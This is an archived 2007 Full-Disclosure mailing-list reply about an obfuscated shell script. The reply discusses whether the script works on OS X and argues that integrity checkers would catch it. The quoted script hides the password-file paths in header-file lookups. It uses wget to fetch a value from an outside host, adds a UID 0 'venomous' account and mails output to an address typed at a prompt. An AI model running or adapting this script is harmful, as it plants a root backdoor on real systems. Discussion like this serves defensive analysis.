full-disclosure - Re: Linux big bang theory....

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [<thread-prev] [thread-next>] [day] [month] [year] [list]

Message-Id: <EB172326-2C0A-461F-A70F-8DEAC1BF424B@gmail.com>
Date: Sun, 13 May 2007 20:58:22 -0700
From: Andrew Farmer <andfarm@...il.com>
To: Valdis.Kletnieks@...edu
Cc: full-disclosure@...ts.grok.org.uk
Subject: Re: Linux big bang theory....

On 13 May 07, at 19:43, Valdis.Kletnieks@...edu wrote:
> On Mon, 14 May 2007 08:47:39 +0800, Just1n T1mberlake said:
>> Confirmed Macosx is not vulnerable to this.
>
> Not this variant, anyhow.  Note that if you go digging around, you can
> probably find other places to seed $happy, $days, $who, and $what  
> from.
>
>>> happy=`awk 'NR==59 {gsub(/"/,"");print $3}' /usr/include/paths.h`
>>> days=`awk 'NR==74 {gsub(/,/,"");print $8}' /usr/include/sysexits.h`
>>> guitar=`wget -qO - http://www.infiltrated.net/guitar|sed -n '1p'`
>>> sed -n '1p' $happy|awk -F ":"
>>> 'BEGIN{OFS=":"}{$1="venomous"}1{$2=""}2' >> $days
>>> sed -n '1p' $days|sed 's/[^:]*:/venomous:/'|awk -vguitar=$guitar -F
>>> ":" 'BEGIN{OFS=":"}{$2='guitar'}2' >> $happy
>>> what=`sed -n '58p' /usr/include/sysexits.h |awk '{print $5}'`
>>> who=`sed -n '60p' /usr/include/linux/wireless.h |awk 'gsub(/,/,
>>> ""){print $4" -a"}'`
>>> echo "Enter your email address" ; read ans ; where=$ans
>>> $who | $what $where
>
> One carefully coded 'find ... | xargs egrep' will get you the  
> needed info
> to produce a version that will work on OSX.

Even if you manage to figure out a way to generate the string "/etc/ 
passwd", though, writing to that won't won't do you any good:

/etc/passwd:
# Note that this file is consulted when the system is running in  
single-user
# mode.  At other times this information is handled by one or more of:
# lookupd DirectoryServices
# By default, lookupd gets information from NetInfo, so this file will
# not be consulted unless you have changed lookupd's configuration.
# This file is used while in single user mode.

You'd have to write something that'd execute niutil.

More to the point, though, even if the presence of this script  
doesn't trigger integrity checkers (yet), the presence of a non-root  
UID 0 account *definitely* will. No amount of obfuscation will change  
this. Same goes for suid binaries appearing out of nowhere. I don't  
know if changes to the sudoers file are tracked by most tools yet,  
but I have no doubt that the appearance of a rootkit that maintained  
access via sudoers would change that pretty quickly.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/